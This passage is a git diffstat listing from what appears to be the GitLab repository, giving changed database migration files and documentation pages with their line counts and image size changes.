-rw-r--r--db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb24
-rw-r--r--db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb27
-rw-r--r--db/post_migrate/20210407150240_confirm_support_bot_user.rb23
-rw-r--r--db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb17
-rw-r--r--db/post_migrate/20210409185531_remove_members_index_on_user_id.rb17
-rw-r--r--db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb17
-rw-r--r--db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb22
-rw-r--r--db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb44
-rw-r--r--db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb17
-rw-r--r--db/schema_migrations/202012181943111
-rw-r--r--db/schema_migrations/202101060612541
-rw-r--r--db/schema_migrations/202102192118451
-rw-r--r--db/schema_migrations/202102232306001
-rw-r--r--db/schema_migrations/202102241615521
-rw-r--r--db/schema_migrations/202102261415171
-rw-r--r--db/schema_migrations/202103020253051
-rw-r--r--db/schema_migrations/202103021503101
-rw-r--r--db/schema_migrations/202103050318221
-rw-r--r--db/schema_migrations/202103051803311
-rw-r--r--db/schema_migrations/202103051827401
-rw-r--r--db/schema_migrations/202103051828551
-rw-r--r--db/schema_migrations/202103051839041
-rw-r--r--db/schema_migrations/202103081752241
-rw-r--r--db/schema_migrations/202103081752251
-rw-r--r--db/schema_migrations/202103081752261
-rw-r--r--db/schema_migrations/202103081752271
-rw-r--r--db/schema_migrations/202103091601061
-rw-r--r--db/schema_migrations/202103110220121
-rw-r--r--db/schema_migrations/202103110451381
-rw-r--r--db/schema_migrations/202103110451391
-rw-r--r--db/schema_migrations/202103110937231
-rw-r--r--db/schema_migrations/202103111201521
-rw-r--r--db/schema_migrations/202103111201531
-rw-r--r--db/schema_migrations/202103111201541
-rw-r--r--db/schema_migrations/202103111201551
-rw-r--r--db/schema_migrations/202103111201561
-rw-r--r--db/schema_migrations/202103121400291
-rw-r--r--db/schema_migrations/202103121743211
-rw-r--r--db/schema_migrations/202103121935321
-rw-r--r--db/schema_migrations/202103130456171
-rw-r--r--db/schema_migrations/202103130458451
-rw-r--r--db/schema_migrations/202103160940471
-rw-r--r--db/schema_migrations/202103160943231
-rw-r--r--db/schema_migrations/202103161525001
-rw-r--r--db/schema_migrations/202103170353571
-rw-r--r--db/schema_migrations/202103171005201
-rw-r--r--db/schema_migrations/202103171040321
-rw-r--r--db/schema_migrations/202103171043011
-rw-r--r--db/schema_migrations/202103171059041
-rw-r--r--db/schema_migrations/202103171552071
-rw-r--r--db/schema_migrations/202103171929431
-rw-r--r--db/schema_migrations/202103181344271
-rw-r--r--db/schema_migrations/202103220634071
-rw-r--r--db/schema_migrations/202103220634501
-rw-r--r--db/schema_migrations/202103221154381
-rw-r--r--db/schema_migrations/202103221827511
-rw-r--r--db/schema_migrations/202103230647511
-rw-r--r--db/schema_migrations/202103231550101
-rw-r--r--db/schema_migrations/202103231828461
-rw-r--r--db/schema_migrations/202103241124391
-rw-r--r--db/schema_migrations/202103241317271
-rw-r--r--db/schema_migrations/202103250922151
-rw-r--r--db/schema_migrations/202103251131291
-rw-r--r--db/schema_migrations/202103251508371
-rw-r--r--db/schema_migrations/202103251517581
-rw-r--r--db/schema_migrations/202103251520111
-rw-r--r--db/schema_migrations/202103260355531
-rw-r--r--db/schema_migrations/202103261215371
-rw-r--r--db/schema_migrations/202103261909031
-rw-r--r--db/schema_migrations/202103282144341
-rw-r--r--db/schema_migrations/202103290955481
-rw-r--r--db/schema_migrations/202103291027241
-rw-r--r--db/schema_migrations/202103291918501
-rw-r--r--db/schema_migrations/202103291927161
-rw-r--r--db/schema_migrations/202103300158051
-rw-r--r--db/schema_migrations/202103300917511
-rw-r--r--db/schema_migrations/202103301304201
-rw-r--r--db/schema_migrations/202103311053351
-rw-r--r--db/schema_migrations/202103311251111
-rw-r--r--db/schema_migrations/202103311455481
-rw-r--r--db/schema_migrations/202103311801181
-rw-r--r--db/schema_migrations/202104011319481
-rw-r--r--db/schema_migrations/202104011341571
-rw-r--r--db/schema_migrations/202104011344551
-rw-r--r--db/schema_migrations/202104011751341
-rw-r--r--db/schema_migrations/202104011928081
-rw-r--r--db/schema_migrations/202104020052251
-rw-r--r--db/schema_migrations/202104060634421
-rw-r--r--db/schema_migrations/202104061400571
-rw-r--r--db/schema_migrations/202104061447431
-rw-r--r--db/schema_migrations/202104070025111
-rw-r--r--db/schema_migrations/202104071502401
-rw-r--r--db/schema_migrations/202104090842421
-rw-r--r--db/schema_migrations/202104091855011
-rw-r--r--db/schema_migrations/202104091855311
-rw-r--r--db/schema_migrations/202104112128131
-rw-r--r--db/schema_migrations/202104121327361
-rw-r--r--db/schema_migrations/202104121328241
-rw-r--r--db/schema_migrations/202104121422231
-rw-r--r--db/schema_migrations/202104130929221
-rw-r--r--db/schema_migrations/202104131211011
-rw-r--r--db/schema_migrations/202104131238321
-rw-r--r--db/schema_migrations/202104131300111
-rw-r--r--db/schema_migrations/202104131325001
-rw-r--r--db/schema_migrations/202104140959441
-rw-r--r--db/schema_migrations/202104141316001
-rw-r--r--db/schema_migrations/202104150746451
-rw-r--r--db/schema_migrations/202104151427001
-rw-r--r--db/schema_migrations/202104151445381
-rw-r--r--db/structure.sql525
-rw-r--r--doc/.vale/gitlab/NonStandardQuotes.yml14
-rw-r--r--doc/.vale/gitlab/Possessive.yml6
-rw-r--r--doc/.vale/gitlab/ReferenceLinks.yml2
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt2
-rw-r--r--doc/administration/auth/README.md15
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md2
-rw-r--r--doc/administration/auth/okta.md176
-rw-r--r--doc/administration/auth/smartcard.md4
-rw-r--r--doc/administration/clusters/kas.md131
-rw-r--r--doc/administration/environment_variables.md7
-rw-r--r--doc/administration/external_pipeline_validation.md50
-rw-r--r--doc/administration/feature_flags.md2
-rw-r--r--doc/administration/geo/disaster_recovery/index.md351
-rw-r--r--doc/administration/geo/glossary.md2
-rw-r--r--doc/administration/geo/index.md4
-rw-r--r--doc/administration/geo/replication/datatypes.md89
-rw-r--r--doc/administration/geo/replication/disable_geo.md20
-rw-r--r--doc/administration/geo/replication/docker_registry.md44
-rw-r--r--doc/administration/geo/replication/geo_validation_tests.md4
-rw-r--r--doc/administration/geo/replication/remove_geo_node.md58
-rw-r--r--doc/administration/geo/replication/remove_geo_site.md58
-rw-r--r--doc/administration/geo/replication/security_review.md10
-rw-r--r--doc/administration/geo/replication/usage.md27
-rw-r--r--doc/administration/geo/replication/using_a_geo_server.md27
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md2
-rw-r--r--doc/administration/geo/setup/database.md2
-rw-r--r--doc/administration/geo/setup/index.md2
-rw-r--r--doc/administration/gitaly/configure_gitaly.md225
-rw-r--r--doc/administration/gitaly/img/architecture_v12_4.pngbin42885 -> 0 bytes
-rw-r--r--doc/administration/gitaly/index.md390
-rw-r--r--doc/administration/gitaly/praefect.md341
-rw-r--r--doc/administration/gitaly/reference.md2
-rw-r--r--doc/administration/incoming_email.md63
-rw-r--r--doc/administration/index.md58
-rw-r--r--doc/administration/instance_limits.md13
-rw-r--r--doc/administration/job_artifacts.md46
-rw-r--r--doc/administration/logs.md2
-rw-r--r--doc/administration/maintenance_mode/img/maintenance_mode_error_message.pngbin0 -> 12682 bytes
-rw-r--r--doc/administration/maintenance_mode/index.md2
-rw-r--r--doc/administration/maintenance_mode/maintenance_mode_error_message.pngbin14666 -> 0 bytes
-rw-r--r--doc/administration/monitoring/github_imports.md2
-rw-r--r--doc/administration/monitoring/gitlab_self_monitoring_project/index.md6
-rw-r--r--doc/administration/monitoring/index.md4
-rw-r--r--doc/administration/monitoring/ip_whitelist.md2
-rw-r--r--doc/administration/monitoring/performance/gitlab_configuration.md2
-rw-r--r--doc/administration/monitoring/performance/grafana_configuration.md2
-rw-r--r--doc/administration/monitoring/performance/index.md2
-rw-r--r--doc/administration/monitoring/performance/performance_bar.md2
-rw-r--r--doc/administration/monitoring/performance/request_profiling.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md23
-rw-r--r--doc/administration/monitoring/prometheus/index.md2
-rw-r--r--doc/administration/monitoring/prometheus/node_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/pgbouncer_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/postgres_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/redis_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/registry_exporter.md2
-rw-r--r--doc/administration/nfs.md61
-rw-r--r--doc/administration/operations/extra_sidekiq_processes.md2
-rw-r--r--doc/administration/operations/moving_repositories.md2
-rw-r--r--doc/administration/packages/container_registry.md10
-rw-r--r--doc/administration/packages/dependency_proxy.md2
-rw-r--r--doc/administration/packages/index.md2
-rw-r--r--doc/administration/pages/index.md131
-rw-r--r--doc/administration/pages/source.md2
-rw-r--r--doc/administration/postgresql/replication_and_failover.md3
-rw-r--r--doc/administration/redis/index.md2
-rw-r--r--doc/administration/redis/replication_and_failover_external.md2
-rw-r--r--doc/administration/redis/troubleshooting.md2
-rw-r--r--doc/administration/reference_architectures/10k_users.md271
-rw-r--r--doc/administration/reference_architectures/25k_users.md85
-rw-r--r--doc/administration/reference_architectures/2k_users.md31
-rw-r--r--doc/administration/reference_architectures/3k_users.md67
-rw-r--r--doc/administration/reference_architectures/50k_users.md87
-rw-r--r--doc/administration/reference_architectures/5k_users.md67
-rw-r--r--doc/administration/reference_architectures/index.md2
-rw-r--r--doc/administration/repository_storage_paths.md4
-rw-r--r--doc/administration/restart_gitlab.md9
-rw-r--r--doc/administration/terraform_state.md33
-rw-r--r--doc/administration/troubleshooting/elasticsearch.md6
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md39
-rw-r--r--doc/administration/troubleshooting/group_saml_scim.md31
-rw-r--r--doc/administration/troubleshooting/img/ADFS-configure-NameID.pngbin22571 -> 0 bytes
-rw-r--r--doc/administration/troubleshooting/img/ADFS-configure-assertions.pngbin10561 -> 0 bytes
-rw-r--r--doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.pngbin36861 -> 0 bytes
-rw-r--r--doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.pngbin28939 -> 0 bytes
-rw-r--r--doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.pngbin30321 -> 0 bytes
-rw-r--r--doc/administration/troubleshooting/img/okta_admin_panel_v13_9.png (renamed from doc/administration/auth/img/okta_admin_panel_v13_9.png)bin49319 -> 49319 bytes
-rw-r--r--doc/administration/troubleshooting/img/okta_saml_settings.png (renamed from doc/administration/auth/img/okta_saml_settings.png)bin25470 -> 25470 bytes
-rw-r--r--doc/administration/troubleshooting/index.md16
-rw-r--r--doc/administration/troubleshooting/postgresql.md6
-rw-r--r--doc/administration/troubleshooting/sidekiq.md4
-rw-r--r--doc/administration/whats-new.md29
-rw-r--r--doc/administration/wikis/index.md6
-rw-r--r--doc/api/README.md174
-rw-r--r--doc/api/api_resources.md17
-rw-r--r--doc/api/applications.md4
-rw-r--r--doc/api/boards.md10
-rw-r--r--doc/api/discussions.md4
-rw-r--r--doc/api/dora/metrics.md101
-rw-r--r--doc/api/dora4_group_analytics.md11
-rw-r--r--doc/api/dora4_project_analytics.md3
-rw-r--r--doc/api/epic_issues.md5
-rw-r--r--doc/api/error_tracking.md2
-rw-r--r--doc/api/events.md2
-rw-r--r--doc/api/feature_flags.md5
-rw-r--r--doc/api/feature_flags_legacy.md5
-rw-r--r--doc/api/geo_nodes.md248
-rw-r--r--doc/api/graphql/getting_started.md2
-rw-r--r--doc/api/graphql/index.md55
-rw-r--r--doc/api/graphql/reference/index.md1602
-rw-r--r--doc/api/group_level_variables.md17
-rw-r--r--doc/api/group_repository_storage_moves.md4
-rw-r--r--doc/api/group_wikis.md3
-rw-r--r--doc/api/groups.md5
-rw-r--r--doc/api/invitations.md4
-rw-r--r--doc/api/issue_links.md2
-rw-r--r--doc/api/jobs.md85
-rw-r--r--doc/api/members.md72
-rw-r--r--doc/api/merge_request_approvals.md147
-rw-r--r--doc/api/merge_requests.md14
-rw-r--r--doc/api/metrics_dashboard_annotations.md2
-rw-r--r--doc/api/metrics_user_starred_dashboards.md2
-rw-r--r--doc/api/namespaces.md30
-rw-r--r--doc/api/openapi/openapi_interactive.md18
-rw-r--r--doc/api/packages/composer.md287
-rw-r--r--doc/api/packages/conan.md614
-rw-r--r--doc/api/packages/go_proxy.md133
-rw-r--r--doc/api/packages/maven.md124
-rw-r--r--doc/api/packages/nuget.md338
-rw-r--r--doc/api/packages/pypi.md113
-rw-r--r--doc/api/packages/rubygems.md149
-rw-r--r--doc/api/project_repository_storage_moves.md2
-rw-r--r--doc/api/projects.md12
-rw-r--r--doc/api/repositories.md78
-rw-r--r--doc/api/repository_files.md4
-rw-r--r--doc/api/runners.md4
-rw-r--r--doc/api/services.md76
-rw-r--r--doc/api/settings.md30
-rw-r--r--doc/api/snippet_repository_storage_moves.md4
-rw-r--r--doc/api/templates/dockerfiles.md17
-rw-r--r--doc/api/templates/gitlab_ci_ymls.md2
-rw-r--r--doc/api/usage_data.md160
-rw-r--r--doc/api/users.md41
-rw-r--r--doc/api/vulnerabilities.md6
-rw-r--r--doc/api/vulnerability_findings.md12
-rw-r--r--doc/api/wikis.md3
-rw-r--r--doc/architecture/blueprints/container_registry_metadata_database/index.md6
-rw-r--r--doc/ci/README.md2
-rw-r--r--doc/ci/caching/index.md3
-rw-r--r--doc/ci/chatops/index.md2
-rw-r--r--doc/ci/cloud_deployment/ecs/quick_start_guide.md2
-rw-r--r--doc/ci/cloud_deployment/index.md6
-rw-r--r--doc/ci/docker/using_docker_build.md243
-rw-r--r--doc/ci/docker/using_docker_images.md588
-rw-r--r--doc/ci/environments/deployment_safety.md2
-rw-r--r--doc/ci/environments/environments_dashboard.md2
-rw-r--r--doc/ci/environments/img/environment_auto_stop_v13_10.pngbin53602 -> 16265 bytes
-rw-r--r--doc/ci/environments/img/environments_dynamic_groups_v13_10.pngbin57387 -> 16869 bytes
-rw-r--r--doc/ci/environments/img/environments_terminal_button_on_index_v13_10.pngbin42113 -> 12536 bytes
-rw-r--r--doc/ci/environments/img/environments_terminal_button_on_show_v13_10.pngbin53590 -> 16161 bytes
-rw-r--r--doc/ci/environments/index.md254
-rw-r--r--doc/ci/environments/protected_environments.md4
-rw-r--r--doc/ci/examples/README.md2
-rw-r--r--doc/ci/examples/end_to_end_testing_webdriverio/index.md2
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md4
-rw-r--r--doc/ci/jobs/img/collapsible_log_v12_6.pngbin96471 -> 0 bytes
-rw-r--r--doc/ci/jobs/img/collapsible_log_v13_10.pngbin0 -> 48386 bytes
-rw-r--r--doc/ci/jobs/img/manual_job_variables.pngbin39858 -> 0 bytes
-rw-r--r--doc/ci/jobs/img/manual_job_variables_v13_10.pngbin0 -> 24745 bytes
-rw-r--r--doc/ci/jobs/index.md33
-rw-r--r--doc/ci/merge_request_pipelines/index.md2
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md2
-rw-r--r--doc/ci/metrics_reports.md2
-rw-r--r--doc/ci/migration/circleci.md2
-rw-r--r--doc/ci/migration/jenkins.md2
-rw-r--r--doc/ci/multi_project_pipelines.md26
-rw-r--r--doc/ci/pipeline_editor/index.md8
-rw-r--r--doc/ci/pipelines/img/pipelines_v13_11.pngbin0 -> 28783 bytes
-rw-r--r--doc/ci/pipelines/index.md8
-rw-r--r--doc/ci/pipelines/job_artifacts.md438
-rw-r--r--doc/ci/pipelines/settings.md28
-rw-r--r--doc/ci/quick_start/index.md2
-rw-r--r--doc/ci/secrets/index.md2
-rw-r--r--doc/ci/services/gitlab.md40
-rw-r--r--doc/ci/services/index.md376
-rw-r--r--doc/ci/services/mysql.md2
-rw-r--r--doc/ci/services/postgres.md4
-rw-r--r--doc/ci/ssh_keys/index.md3
-rw-r--r--doc/ci/triggers/README.md31
-rw-r--r--doc/ci/unit_test_reports.md6
-rw-r--r--doc/ci/variables/README.md838
-rw-r--r--doc/ci/variables/img/override_value_via_manual_pipeline_output.pngbin110898 -> 0 bytes
-rw-r--r--doc/ci/variables/img/override_variable_manual_pipeline.pngbin17876 -> 0 bytes
-rw-r--r--doc/ci/variables/predefined_variables.md5
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md69
-rw-r--r--doc/ci/yaml/README.md966
-rw-r--r--doc/ci/yaml/gitlab_ci_yaml.md2
-rw-r--r--doc/ci/yaml/img/job_running.pngbin99621 -> 0 bytes
-rw-r--r--doc/ci/yaml/img/job_running_v13_10.pngbin0 -> 57525 bytes
-rw-r--r--doc/development/README.md3
-rw-r--r--doc/development/agent/identity.md12
-rw-r--r--doc/development/agent/local.md55
-rw-r--r--doc/development/api_graphql_styleguide.md154
-rw-r--r--doc/development/application_limits.md2
-rw-r--r--doc/development/application_secrets.md2
-rw-r--r--doc/development/avoiding_downtime_in_migrations.md415
-rw-r--r--doc/development/background_migrations.md8
-rw-r--r--doc/development/bulk_import.md2
-rw-r--r--doc/development/changelog.md10
-rw-r--r--doc/development/chaos_endpoints.md28
-rw-r--r--doc/development/cicd/index.md16
-rw-r--r--doc/development/cicd/templates.md247
-rw-r--r--doc/development/code_review.md105
-rw-r--r--doc/development/contributing/index.md2
-rw-r--r--doc/development/contributing/issue_workflow.md2
-rw-r--r--doc/development/contributing/merge_request_workflow.md7
-rw-r--r--doc/development/creating_enums.md38
-rw-r--r--doc/development/dangerbot.md23
-rw-r--r--doc/development/database/add_foreign_key_to_existing_column.md9
-rw-r--r--doc/development/database/database_reviewer_guidelines.md2
-rw-r--r--doc/development/database/index.md4
-rw-r--r--doc/development/database/not_null_constraints.md8
-rw-r--r--doc/development/database/strings_and_the_text_data_type.md8
-rw-r--r--doc/development/database_debugging.md4
-rw-r--r--doc/development/database_query_comments.md29
-rw-r--r--doc/development/database_review.md17
-rw-r--r--doc/development/deprecation_guidelines/index.md6
-rw-r--r--doc/development/distributed_tracing.md4
-rw-r--r--doc/development/documentation/feature_flags.md52
-rw-r--r--doc/development/documentation/index.md102
-rw-r--r--doc/development/documentation/site_architecture/global_nav.md224
-rw-r--r--doc/development/documentation/site_architecture/index.md4
-rw-r--r--doc/development/documentation/site_architecture/release_process.md168
-rw-r--r--doc/development/documentation/structure.md14
-rw-r--r--doc/development/documentation/styleguide/index.md2
-rw-r--r--doc/development/documentation/testing.md6
-rw-r--r--doc/development/ee_features.md2
-rw-r--r--doc/development/elasticsearch.md18
-rw-r--r--doc/development/emails.md9
-rw-r--r--doc/development/experiment_guide/gitlab_experiment.md75
-rw-r--r--doc/development/fe_guide/accessibility.md364
-rw-r--r--doc/development/fe_guide/dependencies.md2
-rw-r--r--doc/development/fe_guide/design_anti_patterns.md4
-rw-r--r--doc/development/fe_guide/graphql.md135
-rw-r--r--doc/development/fe_guide/icons.md6
-rw-r--r--doc/development/fe_guide/img/editor_lite_create_ext.pngbin81777 -> 16495 bytes
-rw-r--r--doc/development/fe_guide/index.md2
-rw-r--r--doc/development/fe_guide/performance.md14
-rw-r--r--doc/development/fe_guide/principles.md2
-rw-r--r--doc/development/fe_guide/security.md4
-rw-r--r--doc/development/fe_guide/style/javascript.md21
-rw-r--r--doc/development/fe_guide/style/vue.md6
-rw-r--r--doc/development/fe_guide/troubleshooting.md26
-rw-r--r--doc/development/fe_guide/vue.md82
-rw-r--r--doc/development/fe_guide/vue3_migration.md2
-rw-r--r--doc/development/feature_flags/controls.md4
-rw-r--r--doc/development/feature_flags/index.md7
-rw-r--r--doc/development/geo/framework.md876
-rw-r--r--doc/development/gitaly.md19
-rw-r--r--doc/development/go_guide/index.md8
-rw-r--r--doc/development/graphql_guide/authorization.md223
-rw-r--r--doc/development/graphql_guide/index.md1
-rw-r--r--doc/development/i18n/externalization.md97
-rw-r--r--doc/development/i18n/merging_translations.md11
-rw-r--r--doc/development/i18n/translation.md3
-rw-r--r--doc/development/instrumentation.md2
-rw-r--r--doc/development/integrations/secure.md4
-rw-r--r--doc/development/integrations/secure_partner_integration.md14
-rw-r--r--doc/development/licensed_feature_availability.md13
-rw-r--r--doc/development/licensing.md7
-rw-r--r--doc/development/logging.md2
-rw-r--r--doc/development/merge_request_performance_guidelines.md25
-rw-r--r--doc/development/migration_style_guide.md85
-rw-r--r--doc/development/new_fe_guide/tips.md2
-rw-r--r--doc/development/packages.md2
-rw-r--r--doc/development/permissions.md28
-rw-r--r--doc/development/pipelines.md45
-rw-r--r--doc/development/polymorphic_associations.md2
-rw-r--r--doc/development/product_analytics/snowplow.md4
-rw-r--r--doc/development/prometheus_metrics.md4
-rw-r--r--doc/development/query_count_limits.md20
-rw-r--r--doc/development/rake_tasks.md18
-rw-r--r--doc/development/scalability.md2
-rw-r--r--doc/development/secure_coding_guidelines.md4
-rw-r--r--doc/development/shell_commands.md2
-rw-r--r--doc/development/sidekiq_style_guide.md4
-rw-r--r--doc/development/snowplow.md636
-rw-r--r--doc/development/snowplow/index.md719
-rw-r--r--doc/development/sql.md13
-rw-r--r--doc/development/stage_group_dashboards.md49
-rw-r--r--doc/development/testing_guide/best_practices.md134
-rw-r--r--doc/development/testing_guide/end_to_end/beginners_guide.md7
-rw-r--r--doc/development/testing_guide/end_to_end/best_practices.md9
-rw-r--r--doc/development/testing_guide/end_to_end/index.md96
-rw-r--r--doc/development/testing_guide/end_to_end/style_guide.md2
-rw-r--r--doc/development/testing_guide/flaky_tests.md2
-rw-r--r--doc/development/testing_guide/frontend_testing.md104
-rw-r--r--doc/development/transient/prevention-patterns.md4
-rw-r--r--doc/development/understanding_explain_plans.md4
-rw-r--r--doc/development/usage_ping/dictionary.md2100
-rw-r--r--doc/development/usage_ping/index.md175
-rw-r--r--doc/development/usage_ping/metrics_dictionary.md100
-rw-r--r--doc/development/usage_ping/product_intelligence_review.md17
-rw-r--r--doc/development/what_requires_downtime.md414
-rw-r--r--doc/development/wikis.md6
-rw-r--r--doc/gitlab-basics/command-line-commands.md6
-rw-r--r--doc/gitlab-basics/start-using-git.md6
-rw-r--r--doc/install/aws/index.md19
-rw-r--r--doc/install/azure/img/azure-add-inbound-sec-rule-http.pngbin16927 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-add-inbound-sec-rule-ssh.pngbin16817 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-basics-password.pngbin24862 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-basics.pngbin22925 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-deployment.pngbin23707 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-purchase.pngbin43698 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-settings.pngbin25686 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-create-virtual-machine-size.pngbin33322 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-dashboard-highlight-nsg.pngbin34248 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-dashboard-running-resources.pngbin34306 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-dashboard.pngbin36396 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-inbound-sec-rules-list.pngbin24592 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-new-gitlab-ce.pngbin22701 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-new-search-gitlab.pngbin19034 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.pngbin22583 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.pngbin31485 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-vm-domain-name.pngbin23802 -> 0 bytes
-rw-r--r--doc/install/azure/img/azure-vm-management-public-ip.pngbin34991 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-admin-area-9.4.0.pngbin35249 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-admin-area.pngbin29333 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-change-password.pngbin24404 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-home.pngbin26302 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-login.pngbin24656 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-new-project.pngbin34164 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-project-home-empty.pngbin28375 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-project-home-instructions.pngbin31738 -> 0 bytes
-rw-r--r--doc/install/azure/img/gitlab-ssh-update-in-progress.pngbin32799 -> 0 bytes
-rw-r--r--doc/install/azure/index.md563
-rw-r--r--doc/install/installation.md53
-rw-r--r--doc/install/pivotal/index.md2
-rw-r--r--doc/install/postgresql_extensions.md1
-rw-r--r--doc/install/relative_url.md4
-rw-r--r--doc/install/requirements.md12
-rw-r--r--doc/integration/README.md2
-rw-r--r--doc/integration/elasticsearch.md26
-rw-r--r--doc/integration/google_workspace_saml.md163
-rw-r--r--doc/integration/img/enabled-oauth-sign-in-sources.pngbin13303 -> 0 bytes
-rw-r--r--doc/integration/img/enabled-oauth-sign-in-sources_v13_10.pngbin0 -> 47979 bytes
-rw-r--r--doc/integration/img/jira_dev_panel_gl_setup_1.pngbin36145 -> 0 bytes
-rw-r--r--doc/integration/img/jira_dev_panel_jira_setup_2.pngbin17374 -> 0 bytes
-rw-r--r--doc/integration/jenkins.md2
-rw-r--r--doc/integration/jira/connect-app.md130
-rw-r--r--doc/integration/jira/development_panel.md155
-rw-r--r--doc/integration/jira/dvcs.md221
-rw-r--r--doc/integration/jira/img/jira-upload-app-success_v13_11.pngbin0 -> 11440 bytes
-rw-r--r--doc/integration/jira/img/jira-upload-app_v13_11.pngbin0 -> 20667 bytes
-rw-r--r--doc/integration/jira/img/jira_added_user_to_group.png (renamed from doc/user/project/integrations/img/jira_added_user_to_group.png)bin21646 -> 21646 bytes
-rw-r--r--doc/integration/jira/img/jira_create_new_group.png (renamed from doc/user/project/integrations/img/jira_create_new_group.png)bin70535 -> 70535 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_jira_setup_3.png (renamed from doc/integration/img/jira_dev_panel_jira_setup_3.png)bin37257 -> 37257 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_jira_setup_4.png (renamed from doc/integration/img/jira_dev_panel_jira_setup_4.png)bin21592 -> 21592 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_jira_setup_5.png (renamed from doc/integration/img/jira_dev_panel_jira_setup_5.png)bin11002 -> 11002 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_manual_refresh.png (renamed from doc/integration/img/jira_dev_panel_manual_refresh.png)bin23542 -> 23542 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_setup_com_1.png (renamed from doc/integration/img/jira_dev_panel_setup_com_1.png)bin15392 -> 15392 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_setup_com_2.png (renamed from doc/integration/img/jira_dev_panel_setup_com_2.png)bin22370 -> 22370 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_setup_com_3_v13_9.png (renamed from doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png)bin28042 -> 28042 bytes
-rw-r--r--doc/integration/jira/img/jira_dev_panel_setup_com_4_v13_9.png (renamed from doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png)bin23360 -> 23360 bytes
-rw-r--r--doc/integration/jira/img/jira_group_access.pngbin0 -> 20934 bytes
-rw-r--r--doc/integration/jira/img/jira_issue_detail_view_v13.10.pngbin0 -> 49442 bytes
-rw-r--r--doc/integration/jira/img/jira_issue_reference.png (renamed from doc/user/project/integrations/img/jira_issue_reference.png)bin19583 -> 19583 bytes
-rw-r--r--doc/integration/jira/img/jira_merge_request_close.png (renamed from doc/user/project/integrations/img/jira_merge_request_close.png)bin21130 -> 21130 bytes
-rw-r--r--doc/integration/jira/img/jira_project_settings.png (renamed from doc/user/project/integrations/img/jira_project_settings.png)bin14149 -> 14149 bytes
-rw-r--r--doc/integration/jira/img/jira_service_close_issue.png (renamed from doc/user/project/integrations/img/jira_service_close_issue.png)bin29632 -> 29632 bytes
-rw-r--r--doc/integration/jira/img/open_jira_issues_list_v13.2.png (renamed from doc/user/project/integrations/img/jira/open_jira_issues_list_v13.2.png)bin90251 -> 90251 bytes
-rw-r--r--doc/integration/jira/index.md91
-rw-r--r--doc/integration/jira/issues.md173
-rw-r--r--doc/integration/jira/jira_cloud_configuration.md22
-rw-r--r--doc/integration/jira/jira_server_configuration.md83
-rw-r--r--doc/integration/jira_development_panel.md327
-rw-r--r--doc/integration/oauth_provider.md30
-rw-r--r--doc/integration/omniauth.md104
-rw-r--r--doc/integration/saml.md169
-rw-r--r--doc/integration/vault.md26
-rw-r--r--doc/operations/error_tracking.md8
-rw-r--r--doc/operations/feature_flags.md20
-rw-r--r--doc/operations/incident_management/alerts.md2
-rw-r--r--doc/operations/incident_management/img/custom_alert_mapping_v13_10.pngbin100141 -> 0 bytes
-rw-r--r--doc/operations/incident_management/img/custom_alert_mapping_v13_11.pngbin0 -> 16700 bytes
-rw-r--r--doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.pngbin0 -> 15722 bytes
